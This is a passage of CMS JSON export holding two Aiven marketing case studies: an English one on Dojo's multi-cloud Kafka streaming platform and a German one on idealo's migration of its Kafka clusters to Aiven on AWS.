sources."}],"markDefs":[],"style":"normal"},{"_key":"6e121363e9e6","_type":"block","children":[{"_key":"b3e6087c5b13","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2b3a83e02123","_type":"block","children":[{"_key":"00e5b02a36a80","_type":"span","marks":[],"text":"This complexity was also hindering the company’s plans to expand both its services and geographical footprint. “With our ambition to scale up, we had a hard requirement to streamline communication throughout all of the services and all the different functions of the business,” says Jérémy."}],"markDefs":[],"style":"normal"},{"_key":"b845ba68db5a","_type":"block","children":[{"_key":"301cbab6d4a5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a9df84f04e1a","_type":"block","children":[{"_key":"f05ea9eddd0a0","_type":"span","marks":[],"text":"At the same time, Dojo understood the importance of data quality and governance. It relied on tooling from each of the cloud providers, many of which fell short of Dojo’s requirements. As a result, Dojo’s engineers were responsible for taking time-consuming, additional measures on each cloud platform to ensure the tooling remained secure and compliant with regulations like GDPR and PCI."}],"markDefs":[],"style":"normal"},{"_key":"1a30c2989ac0","_type":"block","children":[{"_key":"da56a89f086a0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Data infrastructure is the key to success ","topOverlap":false,"variant":"oneColumn"},{"_key":"1777d845b35c","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-011be1ee4b6f75c4bcab5bd0094410db5b17393a-3500x2333-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0c905e58e9c0","_type":"block","children":[{"_key":"d6917f88f410","_type":"span","marks":[],"text":"To overcome these challenges, and to increase its data analytics capabilities, Dojo wanted to create a centralized data streaming and messaging architecture. It decided to publish all its data to Apache Kafka®, an open-source distributed event streaming platform that can handle high-volume, high-velocity and high-variety data streams at very low latencies."}],"markDefs":[],"style":"normal"},{"_key":"6bc825a1dc92","_type":"block","children":[{"_key":"238741d351a40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d9540e6bb2fc","_type":"block","children":[{"_key":"3d20a3f3c28a0","_type":"span","marks":[],"text":"But Dojo also wanted a managed Kafka service, and one that was compatible with multiple clouds across a variety of geographical regions. After evaluating the market, it chose Aiven for Apache Kafka. “We work with lots of cloud providers, so we need a solution that fits with them all. We also wanted an open-source solution as we try to avoid vendor lock-in. Aiven was the perfect match,” says Elad Leev, Senior Data Platform Engineer, Dojo."}],"markDefs":[],"style":"normal"},{"_key":"909b2e3f5ee7","_type":"block","children":[{"_key":"bb1609d6932d0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ef5ca8a403c4","_type":"block","children":[{"_key":"8f091e69515b0","_type":"span","marks":[],"text":"“Within a year, we built a complete end-to-end data streaming platform that met all our demands for reliability, scalability and fault-tolerance, and which could deal with any data challenge. Aiven for Apache Kafka is at the heart of this environment.” says Jérémy."}],"markDefs":[],"style":"normal"},{"_key":"c5ef87b7523e","_type":"block","children":[{"_key":"db08e6308ce20","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"96c2f3ea0c4e","_type":"block","children":[{"_key":"4868982e1f610","_type":"span","marks":[],"text":"All the data generated from different systems, for example from settlement, clearing and billing, still runs on different clouds and databases such as OracleDB, MongoDB, PostgreSQL and Google Spanner. But now the majority of the data is published to Aiven for Apache Kafka running on Google Cloud, which is then synched according to the unique needs of various teams and functions of the business. For example, a significant volume of data goes to Google BigQuery for data analytics and to feed Dojo’s various AI and ML systems."}],"markDefs":[],"style":"normal"},{"_key":"8f65d02fafe2","_type":"block","children":[{"_key":"18dcba80c1f9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"87c1e1a73552","_type":"block","children":[{"_key":"b5c54725639b0","_type":"span","marks":[],"text":"“With the Aiven Platform, our teams have the autonomy to select the database and cloud solution they believe will work best, and to shape the data to solve their specific use case,” Jérémy says."}],"markDefs":[],"style":"normal"},{"_key":"c9ff0481a792","_type":"block","children":[{"_key":"a5ee74d3e1bf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5b18d0b4cc89","_type":"block","children":[{"_key":"76f82e30464b0","_type":"span","marks":[],"text":"For greater resilience, Dojo has adopted a cross cloud disaster recovery strategy, using several regional sites that replicate the data to other cloud providers in real time."}],"markDefs":[],"style":"normal"}],"title":"Unifying multiple data streams and clouds on a single platform","topOverlap":false,"variant":"oneColumn"},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"ab2e2ed34fa7","_type":"block","children":[{"_key":"ef1a373bb4fe0","_type":"span","marks":[],"text":"With the new data streaming platform in place, Dojo is seeing improved data quality and data governance. The open-source streaming ecosystem and tools around Apache Kafka provides Dojo with critical capabilities like Change Data Capture (CDC) through Aiven for Apache Kafka® Connect."}],"markDefs":[],"style":"normal"},{"_key":"3646130239f1","_type":"block","children":[{"_key":"ade64819335d0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c4636d5bf5e7","_type":"block","children":[{"_key":"a0de74b9fbfe0","_type":"span","marks":[],"text":"This technology continuously captures changes in data as they occur and propagates the changes in real time to Apache Kafka to keep all downstream applications in sync. CDC is a linchpin in Dojo's commitment to robust data ingestion, governance and compliance. Jérémy says, \"It’s really valuable to us that Aiven provides managed open-source tooling around Kafka, such as Kafka Connect. It helps us guarantee the right levels of consistency in our systems.”"}],"markDefs":[],"style":"normal"},{"_key":"ba2450c269af","_type":"block","children":[{"_key":"ef6dbc68f1390","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"cf51783b6d6c","_type":"block","children":[{"_key":"6d32adb7654f0","_type":"span","marks":[],"text":"“It was a big selling point that Aiven provides a fully open-source schema registry for managing data right out of the box — in fact it was a game-changer,” says Jérémy. “It reduces our technical debt, avoids proprietary solutions and allows us to focus more on innovation and what matters for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"01eea2f7b0b2","_type":"block","children":[{"_key":"114d86ce8811","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6f140182bfbf","_type":"block","children":[{"_key":"15e121328af90","_type":"span","marks":[],"text":"The real-time data streaming capabilities of Kafka enables Dojo to perform essential business functions much faster. For example, as a non-bank payment service provider, Dojo is legally obliged to protect or ‘safeguard’ customer funds as a transaction comes in from its payment systems. Safeguarding requires checks and API calls to different providers and security companies, which can be completed significantly faster through their event-driven architecture powered by Aiven for Apache Kafka."}],"markDefs":[],"style":"normal"}],"title":"Governance, compliance and customer safeguarding","topOverlap":false,"variant":"oneColumn"},{"_key":"23247a39ceef","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-428ceef53aba859183d3ebd788b3b7936d9d8a36-3500x2333-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c844337e3219","_type":"block","children":[{"_key":"cc6f72b92d260","_type":"span","marks":[],"text":"The new architecture with Kafka at the center enables Dojo to add, evolve and scale microservices components independently, providing agility and flexibility as volatile markets and customer trends change. “We have unprecedented levels of agility now which helps us enormously as we expand, set up new sites and launch new products,” says Jérémy."}],"markDefs":[],"style":"normal"},{"_key":"74b2400199e8","_type":"block","children":[{"_key":"486c8a84f8160","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"547d6bb66bdf","_type":"block","children":[{"_key":"b1f68d212def0","_type":"span","marks":[],"text":"In addition, with Kafka in place, Dojo has improved its AI and data analytics capabilities, which helps both the company and its customers. For example, Dojo’s business-funding service relies on real-time data from Kafka and Dojo’s AI model to assess risk and provide Dojo's customers the right business funding to help them grow."}],"markDefs":[],"style":"normal"},{"_key":"7bc7290f2a99","_type":"block","children":[{"_key":"eb1cee56e3e4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bf374b7f14ef","_type":"block","children":[{"_key":"725f6ef807530","_type":"span","marks":[],"text":"Streaming data from Kafka also helps Dojo’s ML and AI models anticipate customer churn so Dojo can take immediate proactive steps to retain that customer. “Data loses its value as time goes by,” says Elad. “Now, with Aiven for Apache Kafka, we can react to business events very quickly.”"}],"markDefs":[],"style":"normal"},{"_key":"3ed3ae37e461","_type":"block","children":[{"_key":"bd1a9d11c98a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9af88df6f496","_type":"block","children":[{"_key":"cdec08e848d10","_type":"span","marks":[],"text":"And on the customer side, one of Dojo’s central missions is to revolutionize the “experience economy” by empowering customers with data-driven products and services. With the new data infrastructure in place, Dojo uses data analytics to give customers valuable insights about their own operations and to enable them to make intelligent business decisions."}],"markDefs":[],"style":"normal"},{"_key":"7a3604bb0c56","_type":"block","children":[{"_key":"481b243a22440","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"New geographies, new services and more opportunities for innovation","topOverlap":false,"variant":"oneColumn"},{"_key":"4fc39ff3da45","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-328ef38798848cd1627a86a7c4b7e4bcae119a92-1200x630-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"ad0e1d709ae0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"808892370ed2","_type":"block","children":[{"_key":"ce98dfc824500","_type":"span","marks":[],"text":"Dojo’s teams now have the autonomy to keep designing services that make life better for customers across Europe. Jérémy’s team is currently exploring stream processing use cases and how Aiven might help with more complex, real-time operations on top of streams. Jérémy concludes, “We're planning our future with Aiven — we really want to push our collaboration forward.”"}],"markDefs":[],"style":"normal"}],"title":"A partner for future collaboration","topOverlap":false,"variant":"oneColumn"}],"heroHasVideo":false,"heroSubtitle":"Reliable, scalable and compliant data infrastructure supports Dojo’s experience economy across Europe","heroTitle":"Dojo Expands its Payment Processing Business with Aiven for Apache Kafka®","image":{"_type":"mainImage","asset":{"_ref":"image-c0af0446c4570c547cf95e53928179ba840a4972-3024x4032-jpg","_type":"reference"}},"publishedAt":"2024-09-30T12:23:00.000Z","seo":{"_type":"metaData","metaDescription":"Reliable, scalable and compliant data infrastructure supports Dojo’s experience economy across Europe","metaImage":{"_type":"mainImage","asset":{"_ref":"image-555744d0655654c68c125b8aa421bdc009c43a62-1200x630-png","_type":"reference"}},"metaTitle":"Dojo Expands its Payment Processing Business with Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/case-studies/dojo-expands-with-aiven-for-apache-kafka"},"title":"Dojo Expands its Payment Processing Business with Aiven for Apache Kafka®","ytId":"mPWxizlA3so"} {"__i18n_base":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"__i18n_lang":"de","_createdAt":"2023-11-09T10:56:35Z","_id":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_de","_rev":"2x59rT6aRKXNelne0bXbFA","_type":"caseStudy","_updatedAt":"2024-11-27T13:04:59Z","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"45f894f60343","_type":"block","children":[{"_key":"63bcd3ef486b0","_type":"span","marks":["53742940c12e"],"text":"idealo"},{"_key":"cea01267f696","_type":"span","marks":[],"text":" gehört zu den führenden Online-Vergleichsplattformen für Produkte, Reisen und Flüge in Europa und ist ein datenintensives Unternehmen. Als Teil der "},{"_key":"a38a518f3fab","_type":"span","marks":["de82417e8fd4"],"text":"Axel Springer SE"},{"_key":"147db078a692","_type":"span","marks":[],"text":" strebt das Unternehmen danach, seine Präsenz in ganz Europa weiter auszubauen. Mit einer Dateninfrastruktur on-premises, die nur schwer skalierbar war, entschied idealo, dass der Wechsel zu AWS ein wesentlicher Bestandteil seiner Wachstumsstrategie werden sollte. idealo entschied sich für Aiven, um seine Apache Kafka®-Infrastruktur in der Cloud zu verwalten. Dadurch konnten die internen Mitarbeiterteams von der Verwaltungslast befreit werden und sich statt dessen auf Innovationen konzentrieren. Damit festigten sie die Position des Unternehmens in einem hart umkämpften Markt."}],"markDefs":[{"_key":"53742940c12e","_type":"link","href":"https://idealo.de/"},{"_key":"de82417e8fd4","_type":"link","href":"https://www.axelspringer.com/en/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"d452666f8f1d2243cd5adfe0884a3615","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-a154e75006164d876f80142341f536ec0e947ff3-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"2ff17519d8bd","_type":"block","children":[{"_key":"b8219ebbc6220","_type":"span","marks":[],"text":"idealo wurde im Jahr 2000 mit dem Ziel gegründet, Nutzern zu helfen die bestmöglichen Kaufentscheidungen zu treffen, dank transparenter Preisinformationen. Seit 2007 gehört idealo zum Medien- und Technologieriesen Axel Springer SE. Täglich analysiert idealo Milliarden von Angeboten von Shops aller Größenordnungen und ordnet jedes Angebot einem bestimmten Produkt zu, das die Nutzer ganz einfach in der idealo-App und auf der Website finden. idealo verzeichnet im Durchschnitt 76 Millionen Visits pro Monat allein in Deutschland und mehr als 500 Millionen Angebote aus rund 50.000 Shops. Damit ist idealo eine der beliebtesten deutschen E-Commerce-Websites und eine führende Plattform im hart umkämpften Markt der Preisvergleiche. idealo expandiert auch nach Frankreich, Großbritannien, Italien, Österreich und Spanien und entwickelt sein Angebot kontinuierlich weiter, um der Konkurrenz voraus zu sein und sein Ziel zu erreichen, die Nummer 1 in Europa zu werden."}],"markDefs":[],"style":"normal"}],"title":"Transparente Preisgestaltung für Konsumgüter in ganz Europa","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d751e843c77b644112826d961c772d980f60021-1800x668-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"4391412cddbf","_type":"block","children":[{"_key":"2e5b38f022450","_type":"span","marks":[],"text":"In den vergangenen zwei Jahrzehnten sind die E-Commerce- und Preisvergleichsseiten von idealo erheblich gewachsen. Das Unternehmen hat Händler und Produktlinien hinzugefügt, in verschiedene europäische Märkte expandiert und auf sich ändernde Trends im Online-Handel wie den Black Friday reagiert. Mit dem Wachstum des Unternehmens wurde die IT-Infrastruktur zunehmend beansprucht, insbesondere zu Zeiten mit hohem Handelsvolumen wie Weihnachten.\n\n„Wir haben die strategische Entscheidung getroffen, unsere IT-Infrastruktur auf AWS zu verlagern, um eine bessere Skalierbarkeit zu erreichen. Unser Rechenzentrum konnte die Kapazität nicht bereitstellen, die für das Unternehmenswachstum und die Unterstützung des Teams erforderlich gewesen wäre“, sagt Wanis Fahmy, Senior Cloud Engineer bei idealo.\n\nidealo arbeitet täglich mit Tausenden von Händlern zusammen, die Informationen über ihre gelisteten Produkte – einschließlich Preise, Beschreibungen und Bilder – zur Verfügung stellen. idealo verarbeitet, analysiert und bewertet diese Daten und stellt sie auf seiner Website zur Verfügung. „Mit 50.000 Händlern und 500 Millionen Produktangeboten verarbeiten wir riesige Datenmengen. Eine schnelle und zuverlässige Dateninfrastruktur ist daher ein entscheidender Teil unseres Geschäftsmodells. Kunden möchten sofort den günstigsten Preis, nicht vor fünf Minuten. Verzögerungen, ungenaue Daten oder ein unterbrochener Service könnten das Vertrauen in die Marke idealo beeinträchtigen“, sagt Fahmy. Aus diesem Grund ist idealo ein langjähriger und intensiver Nutzer von Apache Kafka, der Open-Source-Plattform für Daten-Streaming.\n\nVor der Migration zu AWS verfügte idealo über 30 Kafka-Cluster on-premises, die Daten zwischen den Systemen und Anwendungen des Preisvergleichsdienstes übermittelten. Das Unternehmen setzte sich einen ehrgeizigen Plan für die Cloud-Migration, der in nur 18 Monaten abgeschlossen werden sollte. Die Verlagerung der Dateninfrastruktur, einschließlich Kafka, war ein wesentlicher Bestandteil des Plans.\n\nObwohl das Team solide Erfahrungen mit der Verwaltung von on-premises Kafka-Clustern gesammelt hatte, gab es Bedenken, dass diese für einen Cloud-basierten Betrieb nicht ausreichen würden. Jeder Leistungsverlust oder, noch schlimmer, jede Ausfallzeit würde zu einem spürbaren und sofortigen Verlust im Handel führen. idealo benötigte daher einen zuverlässigen Partner, der bei der Migration und dem anschließenden Management von Kafka helfen konnte.\n\n„Die Sicherstellung, dass unsere Kafka-Implementierung immer auf dem neuesten Stand ist und mit den Best Practices übereinstimmt, ist eine große Aufgabe für uns. Der Umzug in die Public Cloud gab uns die Möglichkeit, diese Aufgabe an Experten abzugeben, so dass sich unser Team auf unser Kerngeschäft konzentrieren konnte“, sagt Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Ambitionierte Cloud-Migration zur Unterstützung des wachsenden Geschäfts","variant":"oneColumn"},{"_key":"a5d1e780547561bfb717b6900fdef8d9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-5b40f61b550a1a08b3560dbfc68de4f37f3db6c2-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"fa5dfe3c1686","_type":"block","children":[{"_key":"5ca9c1e181660","_type":"span","marks":[],"text":"Das Team von idealo verglich verschiedene Anbieter und entschied sich letztendlich für Aiven. „Aiven war der einzige Anbieter, der alle Kriterien erfüllte\", sagt Fahmy. „Die anderen SaaS-Anbieter konnten mit den technischen Möglichkeiten der Aiven-Datenplattform nicht mithalten. Auch war uns Berechenbarkeit wichtig, insbesondere bei der Preisgestaltung.”\n\nAusschlaggebend war das unkomplizierte und leicht verständliche Preismodell von Aiven. „Der Wechsel in die öffentliche Cloud mit den vielen verschiedenen Kosten- und Preismodellen war für uns neu. Wir waren uns nicht sicher, wie sich das entwickeln würde – aber wir wussten, dass steigende Kosten, zum Beispiel für die Datenübertragungsgebühren, unsere Pläne für den Wandel wirklich untergraben hätten”, sagt Fahmy.\n\nDie Migration zu AWS sollte schrittweise erfolgen, wobei einige Teams früher als andere aus den Rechenzentren ausziehen würden. „Eine der wichtigsten technischen Anforderungen war, dass die Kafka-Cluster im dualen Modus arbeiten sollten und dabei Virtual Private Cloud (VPC) Peering verwenden, um eine Verbindung zu den on-premises Clustern sicherzustellen und Zugriff auf die bereits zu AWS migrierten Cluster zu ermöglichen. Aiven war der einzige Anbieter, der die Flexibilität hatte, in beiden Modi zu arbeiten. Das Umschalten zwischen den Modi war sehr einfach, beispielsweise um den öffentlichen Zugang zu deaktivieren und nur mit Peering zu arbeiten oder umgekehrt“, erläutert Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Alle Kriterien erfüllen - Verfügbarkeit, Zuverlässigkeit und berechenbare Preisgestaltung","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ffb85312328b66d3c7a00143995222d154b4794e-1700x631-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"48052390c35e","_type":"block","children":[{"_key":"d8c690503beb0","_type":"span","marks":[],"text":"idealo führte mit Aiven for Apache Kafka® ein erfolgreiches Proof-of-Concept durch, das die erforderliche technische Sicherheit bot. Kurze Zeit später wurde der Umzug der Kafka-Cluster zu Aiven auf AWS initiert.\n\nHoney Feelisch, Projektmanagerin bei idealo, war die leitende Projektmanagerin für die AWS-Migration. Auch als einige Teams ihre Anwendungen noch on-premises betrieben, ermutigte Feelisch alle, Aiven for Apache Kafka als zentralen Data Hub zu verwenden, indem Nachrichten gespiegelt oder repliziert werden. „Diese Strategie ermöglichte es uns, die Abhängigkeiten zwischen den Teams zu entwirren. Außerdem gab sie jedem die Möglichkeit, die Kafka-Nachrichten zu hören und zu überlegen, wie sie am besten umgesetzt werden könnten“, sagt Feelisch.\n\nDrei Monate nach Abschluss des Proof of Concept wurde die Kafka-Infrastruktur erfolgreich in die Produktion der Cloud überführt. Heute werden rund 60 Kafka-Cluster von Aiven verwaltet, die eine Reihe verschiedener Teams mit einem immer breiteren Spektrum von Anwendungsfällen unterstützen.\n\n„Wir setzen Kafka häufig für die ereignisgesteuerte asynchrone Kommunikation zwischen Teams und ihren verschiedenen Microservices ein”, erklärt Fahmy. „Der zweitwichtigste Anwendungsfall ist Aiven for Apache Kafka® Connect. Dieses Tool nutzen einige unserer Teams für die Einspeisung von Daten in unseren Big Data Lake in AWS.“\n\nSeit der Umstellung auf Aiven hat die Beliebtheit und Nutzung von Kafka zugenommen. „Mit Aiven sind unsere Kafka-Cluster deutlich zuverlässiger als zuvor. Dies ermöglicht unseren Teams, sich auf das Kerngeschäft zu konzentrieren, ohne sich um die Wartung kümmern zu müssen. Darüber hinaus ist die Einrichtung eines neuen Clusters nun sehr einfach. Das macht es für andere Teams deutlich attraktiver und zugänglicher”, sagt Fahmy.\n\nAus geschäftlicher Sicht kann idealo sicher sein, dass die Kafka-Komponenten seiner kritischen Dateninfrastruktur zu jeder Zeit hochverfügbar sind. Zudem ist gewährleistet, dass Daten selbst in Zeiten wie dem Black Friday schnell und sicher bewegt werden können.\n\n„Aiven ermöglicht uns die Bewältigung steigender Arbeitslasten und Datenmengen. Das bedeutet, dass die Systeme, die unserer Preisvergleichsplattform zugrunde liegen, sich an unsere wachsenden geschäftlichen Anforderungen anpassen können, während wir weiter an Beliebheit gewinnen, in neue Märkte expandieren und unsere ehrgeizigen Wachstumsziele erreichen“, sagt Andreas Hankel, CTO von idealo."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka unterstützt eine immer breitere Palette von Anwendungsfällen","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"25ab6a323728","_type":"block","children":[{"_key":"df61d37d6e3f0","_type":"span","marks":[],"text":"Der Schwerpunkt des letzten Jahres lag auf der Migration von Arbeitslasten zu AWS und Aiven for Apache Kafka. Aber wie Fahmy anmerkt, eröffnet die Arbeit mit Aiven neue Möglichkeiten und Anwendungsfälle, die zuvor nicht möglich waren. \"Früher haben einige Teams die Nutzung von Kafka vermieden, da sie als kompliziert galt. Dank Aiven können sie nun neue Cluster erstellen und auf dieser Grundlage neue Kundenservices entwickeln. Wir werden in Zukunft noch viel dazulernen und sind schon gespannt auf die Innovationen, die dadurch entstehen werden.\""}],"markDefs":[],"style":"normal"}],"title":"Vorfreude auf neue Geschäftsinnovationen","variant":"oneColumn"},{"_key":"29c8393da414a2de2722008b308beed0","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-6d63c1fe2ba124f7971e7d07337790494fb72668-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false}],"heroSubtitle":"Die Migration der Apache Kafka®-Infrastruktur zu AWS setzt neue Maßstäbe in Bezug auf Skalierbarkeit und Zuverlässigkeit und födert damit das Wachstum","heroTitle":"Aiven unterstützt idealo, eine der führenden Preisvergleichsplattformen Europas, bei ihrem Streben nach der Marktführerschaft","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-850b2b6a559fca7222c80739c7e615e9e0c9cbcd-5816x3640-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2023-11-10T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Die Migration der Apache Kafka®-Infrastruktur zu AWS setzt neue Maßstäbe in Bezug auf Skalierbarkeit und Zuverlässigkeit und födert damit das Wachstum","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}},"metaTitle":"Aiven unterstützt idealo, eine der führenden Preisvergleichsplattformen Europas, bei ihrem Streben nach der Marktführerschaft"},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"bc5e45e89a6d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"b6bc26b07294","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7ba1fc469700","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-supports-idealo"},"title":"Aiven unterstützt idealo, eine der führenden Preisvergleichsplattformen Europas, bei ihrem Streben nach der Marktführerschaft"} 